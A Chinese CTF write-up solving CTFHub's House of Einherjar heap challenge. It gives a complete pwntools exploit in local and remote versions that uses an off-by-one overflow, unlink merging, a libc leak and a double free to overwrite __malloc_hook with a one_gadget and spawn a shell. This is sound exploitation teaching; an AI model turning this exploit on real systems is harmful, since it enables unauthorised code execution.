漏洞原因
关于漏洞的一些介绍这里就不过多讲解了,下面引用这位师傅的文章,介绍这个漏洞
House of Einherjar
下面以CTFHub 技能树的House of Einherjar来讲。
先来看题目,其他函数就不讲了,直接看edit函数
漏洞点
这里v2 = size[v1]是在scanf之前,设置的,存在堆溢出,不止一个字节。即可写入的字节为申请的最后一个chunk的大小加1。
read()这里存在,off by one 漏洞。这里主要就讲off by one 来打。
利用方法
三个chunk通过后向unlink实现double free
先把前面的代码写好
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
#io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",37019)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def add(idx,size):
ru(b"Your choice: ")
sl(b"1")
ru(b"Give me a book ID: ")
sl(str(idx))
ru(b"how long: ")
sl(str(size))
def show(idx):
ru(b"Your choice: ")
sl(b"2")
ru(b"Which book do you want to show?")
sl(str(idx))
def free(idx):
ru(b"Your choice: ")
sl(b"3")
ru(b"Which one to throw?")
sl(str(idx))
def edit(idx,data):
ru(b"Your choice: ")
sl(b"4")
ru(b"Which book to write?")
sl(str(idx))
ru(b"Content: ")
s(data)
先申请4个chunk,注意chunk_0和chunk_2必须是0xf0结尾,才能保证创建后为chunk的size是\x00结尾。chunk_3用来做分隔,chunk_1是来写内容的。
add(0,0xf0)
add(1,0x68)
add(2,0xf0)
add(3,0x68)
先,free掉chunk_0,再编辑chunk_1使其覆盖掉chunk_2的prev_size和prev_inuse位。最后再free掉chunk_2触发unlink合并。最后进入unsorted bins的地址是chunk_0的地址,注意这里chunk_1并没有被free,所以再申请回chunk_0,之后main_arena的地址就放在了chunk_1中。
free(0)
edit(1,p64(0)*12+p64(0x170)+p8(0))
free(2)
add(0,0xf0)
之后泄露libc地址和相关函数地址。
show(1)
ru(b"Content: ")
main_arena = uu64(r(6))
libc_base = main_arena-88-0x10-libc.sym['__malloc_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym["realloc"]
fake_chunk = malloc_hook-0x23
gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
one_gadget = libc_base+gadget[1]
print("libc_base------------->: ",hex(libc_base))
print("fake_chunk------------->: ",hex(fake_chunk))
然后再申请一个和chunk_1一样大小的chunk_4,这时chunk_4也是指向chunk_1,因为之前unsorted bin中的大小为chunk_1+chunk_2,申请chunk_4时unsorted bin做分割吧chunk_1给chunk_4,这时有2个chunk指向同一个chunk。然后利用double free改malloc_hook的地址为one_gadget。拿到shell。
add(4,0x68)
free(4)
edit(1,p64(fake_chunk))
add(4,0x68)
add(3,0xf0)
add(5,0x68)
edit(5,b"a"*3+p64(0)+p64(one_gadget)+p64(realloc_hook+16))
add(6,0x10)
打远程的exp为
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",37019)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def add(idx,size):
ru(b"Your choice: ")
sl(b"1")
ru(b"Give me a book ID: ")
sl(str(idx))
ru(b"how long: ")
sl(str(size))
def show(idx):
ru(b"Your choice: ")
sl(b"2")
ru(b"Which book do you want to show?")
sl(str(idx))
def free(idx):
ru(b"Your choice: ")
sl(b"3")
ru(b"Which one to throw?")
sl(str(idx))
def edit(idx,data):
ru(b"Your choice: ")
sl(b"4")
ru(b"Which book to write?")
sl(str(idx))
ru(b"Content: ")
s(data)
add(0,0xf0)
add(1,0x68)
add(2,0xf0)
add(3,0x68)
free(0)
edit(1,p64(0)*12+p64(0x170)+p8(0))
free(2)
add(0,0xf0)
show(1)
ru(b"Content: ")
main_arena = uu64(r(6))
libc_base = main_arena-88-0x10-libc.sym['__malloc_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym["realloc"]
fake_chunk = malloc_hook-0x23
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+gadget[1]
print("libc_base------------->: ",hex(libc_base))
print("fake_chunk------------->: ",hex(fake_chunk))
add(4,0x68)
free(4)
edit(1,p64(fake_chunk))
add(4,0x68)
add(3,0xf0)
add(5,0x68)
edit(5,b"a"*3+p64(0)+p64(one_gadget)+p64(realloc_hook+16))
add(6,0x10)
itr()